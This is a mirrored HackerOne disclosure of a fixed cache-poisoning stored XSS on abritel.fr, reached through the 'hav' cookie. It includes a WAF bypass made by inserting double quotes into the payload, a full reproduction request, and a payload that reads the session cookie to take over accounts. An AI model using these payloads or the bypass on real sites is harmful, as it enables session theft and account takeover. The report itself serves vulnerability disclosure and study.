Skip to content
XSS Disclosed report Intermediate

Cache Poisoning Allows Stored XSS Via hav Cookie Parameter (To Account Takeover)

bombon Follow

Originally disclosed on HackerOne

High 8.2 View original
  • Triaged in 22 hours
  • Fixed in 37 days
  • Paid in 22 hours
  • Disclosed after 5 months

Summary by the researcher

I was able to Takeover Accounts Via Cache Poisoning (XSS)

This was possible due to:

  1. hav cookie was reflected in the Response on https://www.abritel.fr/annonces/location-vacances/france_midi-pyrenees_46_stcere_dt0.php.js
JavaScript
var hav="value from cookie"
  1. The server had a protection where it was "Hiding" double quotes, however the server was not doing that with greater than and less than symbols (<>) which allowed me to closed the script tag and using that double quotes protection I was able to Bypass the WAF easily

WAF would trigger when:

HTTP
Cookie: hav=xss"</script><svg/onload=alert(document.domain)>

But using double quotes I was able to bypass the WAF:

HTTP
Cookie: hav=xss"</sc"ript><sv"g/onloa"d=aler"t"(document.doma"in)>

Which reflected in the response as:

HTML
var hav="xss</script><svg/onload=alert(document.domain)>"
  1. The Server sees https://www.abritel.fr/annonces/location-vacances/france_midi-pyrenees_46_stcere_dt0.php.js as a "cacheable" response, therefore the reflected value in the cookie was saved in that Page, any user who visited https://www.abritel.fr/annonces/location-vacances/france_midi-pyrenees_46_stcere_dt0.php.js would get XSSed

  2. Session cookie was HTTPonly Flagged, however, In this same page where the XSS was, there was a JS Variable called window.INITIAL_STATE.system.cookie where the session was located in clear text

With these four factors combined, I was able to Takeover Accounts

Team Fixed this by not reflecting ‘hav’ anymore.

The report

Summary:

Report #1698316 was closed as resolved

You told me that the stored XSS was going to be resolved since "As this relies on the same root cause, we will be closing it as duplicate", but no

abritel.fr has a strong WAF, however the server hides double quotes, allowing to bypass the WAF

e.g

The server blocks </scriptbut if I send </sc"ript>

WAF is bypassed and the output is </script>

Steps To Reproduce:

1-> Send this request

HTTP
GET /annonces/location-vacances/france_midi-pyrenees_46_stcere_dt0.php.js?xxxd HTTP/2
Host: www.abritel.fr
Cookie: hav=xss"</sc"ript><sv"g/onloa"d=aler"t"(document.doma"in)>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.abritel.fr/signup?enable_registration=true&redirectTo=%2Fsearch%2Fkeywords%3Asoissons-france-%28xss%29%2FminNightlyPrice%2F0%3FpetIncluded%3Dfalse%26filterByTotalPrice%3Dtrue%26ssr%3Dtrue&referrer_page_location=serp
Upgrade-Insecure-Requests: 1
Te: trailers

2-> Using another browser visit:

https://www.abritel.fr/annonces/location-vacances/france_midi-pyrenees_46_stcere_dt0.php.jpeg?xxxd

Exploit:

This is the payload to extract the HASESSIONV3 xss"</sc"ript><sv"g/onloa"d=aler"t"(window.INITIAL_STATE.system.cookie)>

Supporting Material/References:

recording-1667416640491.webm From the original on HackerOne

Impact

Stored XSS to Account Takeover

The original report as published on HackerOne, by bombon. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A high-severity XSS bug in www.abritel.fr, rated CVSS 8.2. HackerOne made it public on 1 April 2023.

About XSS

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by bombon

View all

5 more disclosed reports, best first.

More from Expedia Group Bug Bounty

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.